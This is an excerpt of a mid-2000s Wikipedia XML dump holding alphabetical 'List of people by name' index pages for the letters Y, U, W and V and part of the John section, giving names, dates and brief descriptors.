*[[Yury Yaremenko|Yaremenko, Yury]], (died 1996), Soviet economist
*[[Yury Yarov|Yarov, Yury]], (born 1942), Russian politician
*[[Mike Yarwood|Yarwood, Mike]], (born 1941), British comedian
*[[Lev Yashin|Yashin, Lev]], (1929-1990), Russian football player
*[[Yasmah-Adad]], Assyrian King
*[[Carl Yastrzemski|Yastrzemski, Carl]], (born 1939), baseball player
*[[Yasunori Mitsuda|Yasunori, Mitsuda]], (born 1972), Japanese composer

== Yat - Yaz ==
*[[Abraham Yates|Yates, Abraham]], (1724-1796), American politician
*[[Andrea Pia Yates|Yates, Andrea Pia]], American murderer of her own children
*[[Dornford Yates|Yates, Dornford]], (1885-1960), British novelist
*[[Frank Yates|Yates, Frank]], (1902-1994), statistician
*[[Joseph C. Yates|Yates, Joseph C.]], (1768-1837), American jurist &amp; politician
*[[Peter W. Yates|Yates, Peter W.]], (1747-1826), American politician
*[[Richard Yates (governor)|Yates, Richard]], (1818-1873), American politician
*[[Richard Yates (novelist)|Yates, Richard]], (1926-1992), American novelist
*[[Simon Yates|Yates, Simon]], (born 1963), British mountaineer
*[[John Yau|Yau, John]], (b. 1950), American poet
*[[Shing-Tung Yau|Yau, Shing-Tung]], Chinese mathematician
*[[Grigory Yavlinsky|Yavlinsky, Grigory]], (born 1952), Russian economist &amp; politician
*[[Yazdegerd I of Persia]], (fl. early 5th century)
*[[Yazdegerd II of Persia]], (fl. mid-5th century)
*[[Yazdegerd III of Persia]], (fl. mid-7th century)

= Ye =
*[[Chuck Yeager|Yeager, Chuck]], (b. 1923), American test-pilot
*[[Trisha Yearwood|Yearwood, Trisha]], (born 1964), musician
*[[Jack Butler Yeats|Yeats, Jack Butler]], (1871-1957), painter
*[[William Butler Yeats|Yeats, William Butler]], (1865-1939), Irish writer
*[[Tony Yeboah|Yeboah, Anthony]], (born 1964), Ghanaian footballer
*[[Boris Yegorov|Yegorov, Boris Borisovich]], (1937-1994), Russian astronaut
*[[Henry Yeh|Yeh, Henry]], (born 1979), Chinese dissident
*[[A. B. Yehoshua|Yehoshua, A. B.]], Israeli author 
*[[Aleksei Yeliseyev|Yeliseyev, Aleksei]], (born 1934), astronaut
*[[Boris Yeltsin|Yeltsin, Boris]], (b. 1931), Russia politician
*[[Yen Chia-jin]], (1905-1993)
*[[Donnie Yen|Yen, Donnie]], American martial artist and actor
*[[Stephen Yenser|Yenser, Stephen]], (fl. 1980s), American poet &lt;!-- Whitman winner&amp;ndash;''The Fire In All Things''--&gt;
*[[James Lucas Yeo|Yeo, James Lucas]] (1782-1818), British naval commander
*[[Philip Yeo|Yeo, Philip]], industrial &amp; systems engineer
*[[F. F. E. Yeo-Thomas|Yeo-Thomas, Edward]], (1901-1964), British spy
*[[Michelle Yeoh|Yeoh, Michelle]], (born 1962), Chinese actress
*[[Narciso Yepes|Yepes, Narciso]], musician
*[[Andrey Yeremenko|Yeremenko, Andrey]], Soviet soldier &lt;!--  Soviet marshal and front line general in Stalingrad --&gt;
*[[Robert Yerkes|Yerkes, Robert]], (1876-1956), psychologist
*[[Nicholas Yermakov|Yermakov, Nicholas]], (born 1951), Russian author
*[[Sergei Yesenin|Yesenin, Sergei]], (1895-1925), poet
*[[Yevgeny Yevtushenko|Yevtushenko, Yevgeny]], (b. 1933), Russian novelist
*[[Nikolai Yezhov|Yezhov, Nikolai Ivanovich]], (1895-1940)

= Yi - Yn =
*[[Yi Jachun]], (1315-1360), Chinese soldier
*[[Yi Kun-mo]], (1986-1988), prime minister
*[[Yi Sun-sin]], (1545-1598), Korean admiral
*[[Zhang Yimou|Yimou, Zhang]] (born 1950), film director
*[[Yip Man]] (1893-1972)
*[[Eliyahu Yishai|Yishai, Eliyahu]] (born 1962/63), Israeli politician
*[[Marko Yli-Hannuksela|Yli-Hannuksela, Marko]] (born 1973), Finnish wrestler
*[[Arvo Ylppö|Ylppö, Arvo]], (1887-1992), Finnish physician
*[[Victor Yngve|Yngve, Victor]], (born 1920), linguist

= Yo =
== Yoa ==
*[[Dwight Yoakam|Yoakam, Dwight]], singer-songwriter, musician
*[[Joseph Yoakum|Yoakum, Joseph]], (1886-1972), painter
*[[Yoannis I of Alexandria]], (496-505), Coptic Pope
*[[Yoannis II of Alexandria]], (505-516), Coptic Pope
*[[Yoannis III of Alexandria]], (681-689), Coptic Pope
*[[Yoannis IV of Alexandria]], (776-799), Coptic Pope
*[[Yoannis IX of Alexandria]], (1320-1327), Coptic Pope
*[[Yoannis V of Alexandria]], (1146-1166), Coptic Pope
*[[Yoannis VI of Alexandria]], (1189-1216), Coptic Pope
*[[Yoannis VII of Alexandria]], (1261-1268), Coptic Pope
*[[Yoannis X of Alexandria]], (1363-1369), Coptic Pope
*[[Yoannis XI of Alexandria]], (1428-1453), Coptic Pope
*[[Yoannis XII of Alexandria]], (1480-1483), Coptic Pope
*[[Yoannis XIII of Alexandria]], (1483-1524), Coptic Pope
*[[Yoannis XIV of Alexandria]], (1573-1589), Coptic Pope
*[[Yoannis XIX of Alexandria]], (1929-1942), Coptic Pope
*[[Yoannis XV of Alexandria]], (1621-1631), Coptic Pope
*[[Yoannis XVI of Alexandria]], (1676-1718), Coptic Pope
*[[Yoannis XVII of Alexandria]], (1727-1745), Coptic Pope
*[[Yoannis XVIII of Alexandria]], (1770-1797), Coptic Pope

== Yob - Yos==
*[[Malik Yoba|Yoba, Malik]], (b. 1957), American actor
*[[Jean-Christophe Yoccoz|Yoccoz, Jean-Christophe]], (b.1957), French mathematician
*[[Francis Parker Yockey|Yockey, Francis Parker]], (1917-1960), American philosopher and author
*[[Yodo-Dono]] (1567-1615), Japanese concubine
*[[Paramahansa Yogananda|Yogananda, Paramahansa]], (1893-1952)
*[[Yoko Shimomura]], (born 1970), Japanese composer
*[[Jane Yolen|Yolen, Jane]], (born 1939) author
*[[Emperor Yomei|Yōmei, Emperor]], (d. 587), emperor of Japan
*[[Michael Yon|Yon, Michael]], American journalist
*[[Yon Hyong-muk]], (fl. 1990s), North Korean politician &lt;!-- prime minister --&gt;
*[[Charlotte Mary Yonge|Yonge, Charlotte M]], (1823-1901), British novelist
*[[Yongle Emperor of China]], (1360-1424)
*[[Michael York (actor)|York, Michael]], (born 1942), British actor
*[[Mike York|York, Mike]], (b. 1978), hockey player
*[[Thom Yorke|Yorke, Thom]], (born 1968), English musician
*[[Adam Yosef|Yosef, Adam]], (b. 1981), British journalist
*[[Yoshikawa Eiji|Yoshikawa, Eiji]], (1892-1962), novelist
*[[Yoshikawa Takeo|Yoshikawa, Takeo]], (1916- c. 2000), Japanese spy
*[[Tokugawa Yoshinobu|Yoshinobu, Tokugawa]], (1837-1913), shogun
*[[Ouchi Yoshitaka|Yoshitaka, Ouchi]], (1507-1551), Japanese feudal leader 
*[[Ashikaga Yoshiteru|Yoshiteru, Ashikaga]], (1536-1565), Japanese feudal leader
*[[Akihito Yoshitomi|Yoshitomi, Akihito]], Japanese artist &lt;!-- creator the [[manga]] [[Eat-Man]] --&gt;
*[[David Yost|Yost, David]], American actor
*[[Tina Yothers|Yothers, Tina]] (born 1973), American child actress

==You==
=== Youd - Youe ===
*[[Samuel Youd|Youd, Samuel]], (born 1922), author
*[[Bernard Youens|Youens, Bernard]], (1914-1984), British actor

=== Youn ===
==== Young ====
===== People named Young =====
====== Young, A-H ======
*[[Dr. Dre|Young, Andre]], (b. 1965), musician &amp; producer
*[[Andrew Young|Young, Andrew]], (b. 1932), American activist &amp; diplomat
*[[Angus Young|Young, Angus]], (b. 1955), musician
*[[Brigham Young|Young, Brigham]], (1801-1877), American religious leader
*[[Charles Augustus Young|Young, Charles Augustus]], (1834-1908), American astronomer
*[[Coleman Young|Young, Coleman]], (1918-1997), American politician
*[[Colville Young|Young, Colville N.]],  (born 1932), British colonial administrator
*[[Cy Young|Young, Cy]], (1867-1955), American  baseball player
*[[Dave Young|Young, Dave]], (fl. 2000s), Canadian bassist &lt;!-- jazz bassist --&gt;
*[[David Young|Young, David]], poet
*[[Ed Young|Young, Ed]], &lt;!-- children's --&gt; author &amp; illustrator &lt;!-- (''Lon Po Po'', ''Seven Blind Mice'') --&gt;
*[[Edward Young|Young, Edward]], (1683-1765), English poet
*[[Francis Brett Young|Young, Francis Brett]], (1884-1954), British novelist
*[[Gig Young|Young, Gig]], (1913–1978), American film actor
*[[Graham Young|Young, Graham Frederick]], (1947-1990), British serial killer
*[[Horatio Nelson Young|Young, Horatio Nelson]], (1845-1913), American sailor

====== Young, J-W ======
*[[James Young|Young, James]], (1811–1883), Scottish chemist
*[[Jimmy Young (boxer)|Young, Jimmy]], (fl. 1970s), American boxer
*[[Jimmy Young (disc jockey)|Young, Jimmy]], (born 1923), British disc jockey
*[[John Young|Young, John]], (1802-1852), American politician
*[[John W. Young|Young, John Watts]], (b. 1930), American astronaut
*[[La Monte Young|Young, La Monte]], (born 1935), American composer
*[[Lester Young|Young, Lester]], (1909-1959), American jazz musician
*[[Loretta Young|Young, Loretta]], (1913-2000), American actress
*[[Mae Young|Young, Mae]], (born 1923), American performance wrestler &amp; manager
*[[Malcolm Young|Young, Malcolm]], (b. 1953), Scottish-born Australian musician
*[[Marguerite Young|Young, Marguerite]], (1908-1995), American poet
*[[Michelle Young|Young, Michelle]], American vocalist
*[[Neil Young|Young, Neil]], (b. 1945) American singer-songwriter
*[[Otis Young|Young, Otis]] (1932-2001), American actor
*[[James Young|Young, Paraffin]], (1811–1883), Scottish chemist
*[[Lester Young|Young, Prez]], (1909-1959), American jazz musician
*[[Robert Young (actor)|Young, Robert]], (1907-1998), American actor
*[[Robert Clark Young|Young, Robert Clark]], (born 1960), American novelist
*[[Simon Young|Young, Simon]], (fl. mid-19th century), Pitcairn Isl. politician
*[[Thomas Young (scientist)|Young, Thomas]], (1773-1829), English physicist
*[[Venn Young|Young, Venn]], (1929-1993),  New Zealand politician
*[[Will Young|Young, Will]], (born 1979), British musician

===== Youngd - Youngs =====
*[[Luther Wallace Youngdahl|Youngdahl, Luther W.]], (1896-1978), American politician
*[[George Younger|Younger, George]], (1931-2003), British politician
*[[Francis Younghusband|Younghusband, Francis]], (1863-1942), British explorer
*[[Kim Youngsam|Youngsam, Kim]], (born 1927), Korean politician

==== Youni ====
*[[Waqar Younis|Younis, Waqar]], Pakistani cricket player

===Your - Youz===
*[[Marguerite Yourcenar|Yourcenar, Marguerite]], (1903-1987), Belgian novelist
*[[Yousab I of Alexandria]], (831-849), Coptic Pope
*[[Ramzi Yousef|Yousef, Ramzi]], activist
*[[Youssef El Khazen]], Maronite Patriarch
*[[Mikhail Youzhny|Youzhny, Mikhail]], tennis player

== Yoz ==
*[[Emperor Yozei|Yōzei, Emperor]], (869-949), emperor of Japan 

= Yr - Ys =
*[[Hipólito Yrigoyen|Yrigoyen, Hipólito]], (1852-1933), Argentine politician &lt;!-- full name &quot;Juan Hipólito del Sagrado Corazón de Jesús Yrigoyen Alem&quot; --&gt;
*[[Eugène Ysaÿe|Ysaÿe, Eugène]], (1858-1931), composer

= Yu =
*[[Christina Yu|Yu, Christina]], (fl. 1990s), Hong-Kong-born fashion designer
*[[Han Yu|Yu, Han]], Chinese poet
*[[Li Yu|Yu, Li]], Chinese poet
*[[Yuan-Cheng Fung]], (born 1919), biomechanics researcher &lt;!-- , (correct filing appears to be &quot;Fung, Yuan-Cheng&quot;, but retained here for accessibility),--&gt;
*[[Yuan Shikai]], (1859-1916), Chinese soldier &amp; politician 
*[[Suleiman Yudakov|Yudakov, Suleiman]], (1916-1990), Tajik composer
*[[Nikolai Nikolaevich Yudenich|Yudenich, Nikolai]]
*[[Yukihiro Takahashi]], (1952), Japanese musician
*[[Tohir Yuldashev|Yuldashev, Tohir]], Uzbek activist
*[[David Levy Yulee|Yulee, David Levy]], (1810-1886), American politician &amp; railroad executive
*[[Yun Isang|Yun, Isang]], (1917-1995), Korean-German composer
*[[Yun Po Sun]], (1897-1990), South Korean politician
*[[Mandawuy Yunupingu|Yunupingu, Mandawuy]], (b. 1956), Australian singer &amp; political activist
*[[Yunus Emre]], (fl. 13th century),  Turkish poet
*[[Sabir Yunusov|Yunusov, Sabir]], (1909-1995), Soviet scientist
*[[Fyodor Yurchikhin|Yurchikhin, Fyodor]], (b. 1959), Soviet Georgian astronaut
*[[Yuri (singer)|Yuri]], (born 1964),  Mexican singer
*[[Yakov Yurovsky|Yurovsky, Yakov Mikhailovich]] (1878-1938), Russian executioner
*[[Emperor Yuryaku|Yūryaku, Emperor]], emperor of Japan
*[[Yusab II of Alexandria]], (1946-1956), Coptic Pope
*[[Abdulqawi Yusuf|Yusuf, Abdulqawi]], Somali lawyer and academic
*[[Viktor Yushchenko|Yushchenko, Viktor]], (born 1954), Ukrainian politician
*[[Kateryna Yushchenko-Chumachenko|Yushchenko-Chumachenko, Kateryna Mykhaylivna]], (born 1961), American government administrator
*[[Felix Yussupov|Yussupov, Felix]], (1887-1967), Russian assassin

= Yv - Yz =
*[[Gilbert Yvel|Yvel, Gilbert]], (born 1976), Dutch martial arts teacher
*[[Raul Yzaguirre|Yzaguirre, Raul]], (born c. 1950), Mexican-American activist
*[[Steve Yzerman|Yzerman, Steve]], (born 1965), Canadian hockey player

[[de:Liste der Biografien/Y]]
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[[sv:Lista över personer efter namn: Y]]
[[zh:人名表/Y]]</text>
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  </page>
  <page>
    <title>List of people by name: W</title>
    <id>3888</id>
    <revision>
      <id>22191716</id>
      <timestamp>2005-08-30T18:41:58Z</timestamp>
      <contributor>
        <username>LeonardoRob0t</username>
        <id>389639</id>
      </contributor>
      <minor />
      <comment>robot  Modifying: de</comment>
      <text xml:space="preserve">{{List of people W}}
{{Index only| a person}}

&lt;!-- 


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  List of people by name 
) from appearing on the shortest-articles page: otherwise these pages would obscure the pages there that probably can be expanded soon or deleted. This comment can be removed, if the design of this page ever changes to result in a sufficient length of source text.


--&gt;

[[de:Liste der Biografien/W]]
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[[eo:Listo de biografioj - W]]
[[nl:Biografielijst W]]
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[[sv:Lista över personer efter namn: W]]
[[zh:人名表/W]]</text>
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  <page>
    <title>List of people by name: V</title>
    <id>3889</id>
    <revision>
      <id>22191719</id>
      <timestamp>2005-08-30T18:42:02Z</timestamp>
      <contributor>
        <username>LeonardoRob0t</username>
        <id>389639</id>
      </contributor>
      <minor />
      <comment>robot  Modifying: de</comment>
      <text xml:space="preserve">{{List of people V}}
{{Index only| a person}}

&lt;!-- 


This comment exists to keep this permanently short page (like others that should never include names, within the tree whose root is
  List of people by name 
) from appearing on the shortest-articles page: otherwise these pages would obscure the pages there that probably can be expanded soon or deleted. This comment can be removed, if the design of this page ever changes to result in a sufficient length of source text.


--&gt;

[[de:Liste der Biografien/V]]
[[es:Lista de biografías (V)]]
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  <page>
    <title>List of people by name: U</title>
    <id>3890</id>
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      <id>39884941</id>
      <timestamp>2006-02-16T15:36:08Z</timestamp>
      <contributor>
        <username>Jerzy</username>
        <id>21860</id>
      </contributor>
      <comment>/* Ur */  Subdiv</comment>
      <text xml:space="preserve">{{List of people}}

__FORCETOC__

== People named U ==
*[[U Aung San]], Burmese activist &lt;!-- Commander in Chief of the [[Burma Independence Army]] --&gt;
*[[U Ba Maw]], Burmese politician &lt;!--  prime minister during Japanese occupation --&gt;
*[[U Nu]],&lt;!--  3-time --&gt; Burmese politician &lt;!--  prime minister --&gt; 
*[[U Thant]], Burmese politician  &amp; international diplomat &lt;!--  UN Secretary General --&gt;

== Ua - Uh ==
*[[Raoul Ubac|Ubac, Raoul]], (1910-1985), painter
*[[Paolo Uccello|Uccello, Paolo]], (1397-1475), Italian painter
*[[Emperor Uda]], emperor of Japan  &lt;!--  , (867-931) --&gt;
*[[Mark Udall|Udall, Mark E.]] (1950-)
*[[Mo Udall|Udall, Morris King &quot;Mo&quot;]] (1922-1998)
*[[Stewart Udall|Udall, Stewart Lee]] (born 1920)
*[[Tom Udall|Udall, Thomas Stewart &quot;Tom&quot;]] (1948-)
*[[Albert Uderzo|Uderzo, Albert]], (born 1927), French cartoonist &lt;!--  of ''[[Asterix]]'' fame --&gt;
*[[Ernst Udet|Udet, Ernst]], German WWI fighter ace
*[[Narayan Udit|Udit, Narayan]], Indian &lt;!--  Playback --&gt; singer
*[[Joze Udovic|Udovic, Joze]], (1912-1986), poet
*[[Peter Ueberroth|Ueberroth, Peter]] (born 1937), American sports administrator 
&lt;!--  head of [[1984 Summer Olympics|Los Angeles Olympic]] Organizing Committee, Commissioner of Baseball --&gt;
*[[Yasutsune Uehara|Uehara, Yasutsune]], (born 1949), Japanese boxer
*[[Nobuo Uematsu|Uematsu, Nobuo]], (born 1959), Japanese composer
*[[Naomi Uemura|Uemura, Naomi]], (1941-1984), Japanese climber &lt;!--  and adventurer --&gt;
*[[Kisshomaru Ueshiba|Ueshiba, Kisshomaru]], (1921-1999), martial arts practitioner &lt;!--   2nd [[Aikido Doshu|doshu]] of [[aikido]] --&gt;
*[[Morihei Ueshiba|Ueshiba, Morihei]] (1883-1969), Japanese martial arts practitioner &lt;!--  
founder of [[aikido]] --&gt;  
*[[Moriteru Ueshiba|Ueshiba, Moriteru]] (born 1951), martial arts practitioner &lt;!--  3rd [[Aikido Doshu|doshu]] of [[aikido]] --&gt;
*[[Fritz von Uhde|Uhde, Fritz von]], (1848-1911), German painter
*[[Charlotte Uhlenbroek|Uhlenbroek, Charlotte]] (born 1968), British zoolologist &amp; television presenter

== Ul - Um ==
*[[Stanislaw Ulam|Ulam, Stanislaw]], Polish
*[[Stanislaw Marcin Ulam|Ulam, Stanislaw Marcin]] (1909-1984), Polish-born American astronomer
*[[Galina Sergeyevna Ulanova|Ulanova, Galina Sergeyevna]], (1910-1988), Russian ballerina
*[[Walter Ulbricht|Ulbricht, Walter]], (1893-1973), German politician
*[[Sabine Ulibarrí|Ulibarrí, Sabine]], American poet
*[[Kent Ullberg|Ullberg, Kent]], (born 1945)
*[[Gustaf Ullman|Ullman, Gustaf]], Swedish writer
*[[Tracey Ullman|Ullman, Tracey]] (born 1959), British-born comedian
*[[Gebhard Ullmann|Ullmann, Gebhard]], musician
*[[Liv Ullmann|Ullmann, Liv]], (born 1938), Swedish-born actress
*[[Guntis Ulmanis|Ulmanis, Guntis]], president
*[[Karlis Ulmanis|Ulmanis, Karlis]], president
*[[James 'Blood' Ulmer|Ulmer, James 'Blood']], musician
*[[Sarah Ulmer|Ulmer, Sarah]] (born 1976), New Zealand cyclist
*[[Ulrich of Strassburg]], scholastic philosopher
*[[Björn Ulvaeus|Ulvaeus, Björn]], Swedish songwiter and ex-member of ABBA
*[[Tana Umaga|Umaga, Tana]], (born 1973), New Zealand rugby union player
*[[Yoshijiro Umezu|Umezu, Yoshijiro]], Japanese general

== Un - Up ==
*[[Miguel de Unamuno|Unamuno, Miguel de]] (1864-1936), Spanish writer &lt;!--   : ''Niebla'', ''San Manuel Bueno Martir'' --&gt;
*[[Joseph A. Unanue|Unanue, Joseph A.]] (born 1925), American grocery entrepreneur &lt;!-- former president of [[Goya Foods]] --&gt;
*[[Captain John Underhill|Underhill, John]] (1609-1672), American sesttler &amp; soldier 
*[[Frederick D. Underwood|Underwood, Frederick D.]] (fl. 1920s), American railroader &lt;!--   president of the [[Erie Railroad]] [[1901]]&amp;ndash;[[1927]] --&gt;
*[[Ron Underwood|Underwood, Ron]] (born 1953), American film director
*[[Sigrid Undset|Undset, Sigrid]] (1882-1949), &lt;!--   ''Kristin Lavransdatter'' --&gt;
*[[Giuseppe Ungaretti|Ungaretti, Giuseppe]], Italian poet
*[[William Unger|Unger, William]] (1837-1932), painter
*[[Mattias Alexander von Ungern-Sternberg|Ungern-Sternberg, Mattias Alexander von]], Swedish soldier &lt;!--   field marshal --&gt;
*[[Ungern von Sternberg|Ungern von Sternberg, Roman Fyodorovich]] (1886-1921) Russian soldier &amp; politician &lt;!-- military commander, Mongolian warlord --&gt;
*[[Gabrielle Union|Union, Gabrielle]] (born 1973), American actress
*[[Johnny Unitas|Unitas, Johnny]] (1933-2002), American football player
*[[Unpatar-Naprisha]] (c. 1240- c. 1235 BCE)
*[[Bill Unruh|Unruh, Bill]] (born 1945), Canadian physicist
*[[Al Unser|Unser, Al]],  American  race driver &lt;!-- 4-time winner of the Indianapolis 500 car race --&gt;
*[[Al Unser Jr.|Unser Jr., Al]],  American  race driver &lt;!-- 2-time winner of the Indianapolis 500 car race --&gt;
*[[Alfred Unser|Unser, Alfred]], race driver
*[[Bobby Unser|Unser, Bobby]],  American  race driver &lt;!-- 3-time winner of the Indianapolis 500 car race
*[[Untash-Naprisha]] (c. 1275-c. 1240 BCE)
*[[Michelangelo Unterberger|Unterberger, Michelangelo]] (1695-1753), painter
*[[Louis Untermeyer|Untermeyer, Louis]],  American editor &lt;!-- (Treasury of Erotic Poetry) --&gt;
*[[Carl Herman Unthan|Unthan, Carl Herman]], Austrian violinist  American  race driver &lt;!-- without hands --&gt;
*[[Henry Unton|Unton, Henry]] (c. 1557-1596), English diplomat
*[[Stanley Unwin (publisher)|Unwin, Stanley]], publisher &lt;!--[[George Allen and Unwin]]--&gt;
*[[Stanley Unwin (comedian)|Unwin, Stanley]], comedian &lt;!--[[gobbledegook]] language--&gt;
*[[John Updike|Updike, John]] (born 1932), author  &lt;!-- of ''[[Rabbit Run]]'' and sequels. --&gt;
*[[Charles Upham|Upham, Charles]] (1908-1994), New Zealand soldier &lt;!-- war hero --&gt;
*[[Abu'l-Hasan al-Uqlidisi|Uqlidisi]] (920-990), mathematician

== Ur ==
=== Ura - Uri ===
*[[Pablo Uranga|Uranga, Pablo]] (1861-1934), Spanish painter
*[[Pope Urban I|Urban I, Pope]], (222-230)
*[[Pope Urban II|Urban II, Pope]], (1088-1099)
*[[Pope Urban III|Urban III, Pope]], (1185-1187)
*[[Pope Urban IV|Urban IV, Pope]], (1261-1264)
*[[Pope Urban V|Urban V, Pope]], (1362-1370)
*[[Pope Urban VI|Urban VI, Pope]], (1378-1389)
*[[Pope Urban VII|Urban VII, Pope]] (1590)
*[[Pope Urban VIII|Urban VIII, Pope]], (1623-1644)
*[[Midge Ure|Ure, Midge]] (b. 1953), singer-songwriter
*[[Modest Urgell|Urgell, Modest]] (1839-1919) Spanish painter and illustrator
*[[Leon Uris|Uris, Leon]], (1924-2003), US writer
*[[Moisei Uritsky|Uritsky, Moisei Solomonovich]] (1873-1918)

=== Uro - Ury ===
*[[Stefan Uros I|Uros, Stefan, I]], (1243-1276), Serbian monarch
*[[Stefan Uros V|Uros, Stefan, V]], (1355-1371), Serbian monarch
*[[Emma Maree Urquhart|Urquhart, Emma Maree]], (born 1991), British writer
*[[Feargus Urquhart|Urquhart, Feargus]]
*[[Jane Urquhart|Urquhart, Jane]] (born 1949), novelist
*[[Roy Urquhart|Urquhart, Robert Elliott &quot;Roy&quot;]] (1901-1988)
*[[Thomas Urquhart|Urquhart, Thomas]] (1611-c. 1660)
*[[Manolo Urquiza|Urquiza, Manolo]], Cuban movie critic
*[[Justo José de Urquiza|Urquiza, Justo José de]] (1801-1870)
*[[Matilde Urratia|Urratia, Matilde]] (1912-1985)
*[[Ruben DJ|Urrutia, Ruben]] (born c. 1960), Puerto Rican musician
*[[Lewis Urry|Urry, Lewis]] (1927-2004), Canadian inventor
*[[Urso of Salerno]], scholastic philosopher
*[[Pavel Samuilovich Urysohn|Urysohn, Pavel Samuilovich]] (1898-1924), Russian mathematician

== Us - Uz ==
*[[Yury Usachev|Usachev, Yury]] (born 1957), astronaut
*[[Edoardo Usai|Usai, Edoardo]]
*[[Usher (entertainer)|Usher]] (born 1978), R&amp;B/Pop musician
*[[David Usher|Usher, David]] (born 1966), singer
*[[Gary Usher|Usher, Gary]] (1938-1990), musician
*[[John Palmer Usher|Usher, John Palmer]] (1816-1889)
*[[Mitsuru Ushijima|Ushijima, Mitsuru]] (1887-1945), Japanese general in the defense of Okinawa
*[[Thomas Usk|Usk, Thomas]] (died 1388), English poet
*[[Shamim Ahmad Usmani|Usmani, Shamim Ahmad]], (1942-1995), Urdu poet (India).
*[[Yulduz Usmanova|Usmanova, Yulduz]], (born 1963), Uzbek singer
*[[Dmitry Ustinov|Ustinov, Dmitry]] (1908-1984), Soviet defense minister
*[[Peter Ustinov|Ustinov, Peter]] (born 1921), British actor
*[[Kitagawa Utamaro|Utamaro, Kitagawa]] (1753-1806), Japanese painter
*[[John de Havilland Utermarck|Utermarck, John de Havilland]] (1883-1884), British bailiff
*[[Maurice Utrillo|Utrillo, Maurice]] (1883-1955), French painter
*[[Kaari Utrio|Utrio, Kaari]] (born 1942), Finnish writer
*[[Jørn Utzon|Utzon, Jørn]] (born 1918), Danish architect
*[[Antoinette Uys|Uys, Antoinette]] (born 1976), South African badminton player
*[[Jamie Uys|Uys, Jacobus Johannes &quot;Jamie&quot;]] (1921-1996), South African film director
*[[Pieter-Dirk Uys|Uys, Pieter-Dirk]] (born 1945), South African satirist
*[[Jochem Uytdehaage|Uytdehaage, Jochem]] (born 1976), Dutch speed skater
*[[Johann Peter Uz|Uz, Johann Peter]] (1720-1796), German author

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== Joha ==
*[[Prince Johan-Friso of the Netherlands|Johan-Friso of the Netherlands, Prince]]
*[[Ólafur Jóhannesson|Jóhannesson, Ólafur]], (1978-1979), prime minister
*[[Wilhelm Johannsen|Johannsen, Wilhelm]], (1857-1927), coined the term &quot;gene&quot;
*[[David Johansen|Johansen, David]], (born 1950), ([[Buster Poindexter]]), singer
*[[Jon Johansen|Johansen, Jon]], (born 1983), computer programmer
*[[K.V. Johansen|Johansen, K.V.]], Canadian writer
*[[Lars Emil Johansen|Johansen, Lars Emil]], (1991-1997), prime minister
*[[Donald Johanson|Johanson, Donald]], archaeologist
*[[Klara Johanson|Johanson, Klara]], Swedish writer
*[[Gunnar Johansson|Johansson, Gunnar]], Swedish psychophysicist
*[[Ingemar Johansson|Johansson, Ingemar]], (born 1932), World Heavyweight Boxing Champion
*[[Maria Johansson|Johansson, Maria]] (born 1965), Swedish female boxer
*[[Per Johansson|Johansson, Per]], Swedish trade unionist
*[[Thomas Johansson|Johansson, Thomas]]
*[[Karan Johar|Johar, Karan]], film director

== John ==
=== People named John ===
==== John as given name ====
===== Hierarchs by given name John =====
====== Patriarchs by given name John ======
*[[John Valdez]], teen in California who suggested Cartoon Network its current logo
*[[John I of Alexandria]], Patriarch of Alexandria
*[[John II of Alexandria]], Patriarch of Alexandria
*[[John III of Alexandria]], Patriarch of Alexandria
*[[John IV of Alexandria]], Patriarch of Alexandria
*[[John V of Alexandria]], Patriarch of Alexandria
*[[John VI of Alexandria]], Patriarch of Alexandria
*[[John Chrysostom]], (347-407), patriarch of Constantinople
*[[Patriarch John II|John II, Patriarch]], patriarch of Constantinople
*[[Patriarch John III|John III, Patriarch]], patriarch of Constantinople
*[[John Scholasticus|John III of Constantinople]], (d. 577),  patriarch of Constantinople from 565
*[[Patriarch John IV|John IV, Patriarch]], patriarch of Constantinople
*[[Patriarch John V|John V, Patriarch]], patriarch of Constantinople
*[[Patriarch John VI|John VI, Patriarch]], patriarch of Constantinople
*[[Patriarch John VII|John VII, Patriarch]], patriarch of Constantinople
*[[Patriarch John VIII|John VIII, Patriarch]], patriarch of Constantinople
*[[Patriarch John IX|John IX, Patriarch]], patriarch of Constantinople
*[[John IX Agapetus]], (died 1134), [[Patriarch of Constantinople]]
*[[Patriarch John X|John X, Patriarch]], patriarch of Constantinople
*[[Patriarch John XI|John XI, Patriarch]], patriarch of Constantinople
*[[Patriarch John XII|John XII, Patriarch]], patriarch of Constantinople
*[[Patriarch John XIII|John XIII, Patriarch]], patriarch of Constantinople
*[[Patriarch John XIV|John XIV, Patriarch]], patriarch of Constantinople
*[[John Maron]], (died 707), Maronite Patriarch
*[[John Maron II]], Maronite Patriarch
*[[John of Jaje]], Maronite Patriarch
*[[John I of Saxony]] (1801-1873), King of Saxony
*[[John I (Maronite Patriarch)|John I]], Maronite Patriarch
*[[John II (Maronite Patriarch)|John II]], Maronite Patriarch
*[[John III (Maronite Patriarch)|John III]], Maronite Patriarch
*[[John IV (Maronite Patriarch)|John IV]], Maronite Patriarch
*[[John V (Maronite Patriarch)|John V]], Maronite Patriarch

====== Popes by given name John ======
*[[Pope John I|John I, Pope]], (523-526)
*[[Pope John II|John II, Pope]], (533-535)
*[[Pope John III|John III, Pope]], (561-574)
*[[Pope John IV|John IV, Pope]], (640-642)
*[[Pope John V|John V, Pope]], (685-686)
*[[Pope John VI|John VI, Pope]], (701-705), [[Pope]]
*[[Pope John VII|John VII, Pope]], (705-709)
*[[Pope John VIII|John VIII, Pope]], (872-882)
*[[Pope John IX|John IX, Pope]], (898-900)
*[[Pope John X|John X, Pope]], (914-928)
*[[Pope John XI|John XI, Pope]], (931-935)
*[[Pope John XII|John XII, Pope]], (955-963)
*[[Pope John XIII|John XIII, Pope]], (965-972)
*[[Pope John XIV|John XIV, Pope]], (983-984)
*[[Pope John XV|John XV, Pope]], (985-996)
*[[Pope John XVII|John XVII, Pope]]
*[[Pope John XVIII|John XVIII, Pope]], (1003-1009)
*[[Pope John XIX|John XIX, Pope]], (1024-1032)
*[[Pope John XXI|John XXI, Pope]], (1276-1277)
*[[Pope John XXII|John XXII, Pope]], (1316-1334)
*[[Antipope John XXIII|John XXIII]], (ca. 1400), Antipope
*[[Pope John XXIII|John XXIII]], (1881-1963)
*[[Pope John Paul I|John Paul I]], (1912-1978), Pope
*[[Pope John Paul II|John Paul II]], (1920-2005), Pope

===== People known as saints with given name John =====
*[[John Baptist de La Salle]], (1651–1719), monastic and educator, canonized by Pope in 1900 
*[[John Bosco]], (1815-1888), canonized by Pope in 1934 
*[[John Chrysostom]], (347-407), archbishop and patriarch, recognized as saint by Orthodox Church
*[[John Maron]], (died 707), Maronite Patriarch,recognized as saint by Catholic Church before 12&lt;sup&gt;th&lt;/sup&gt; century
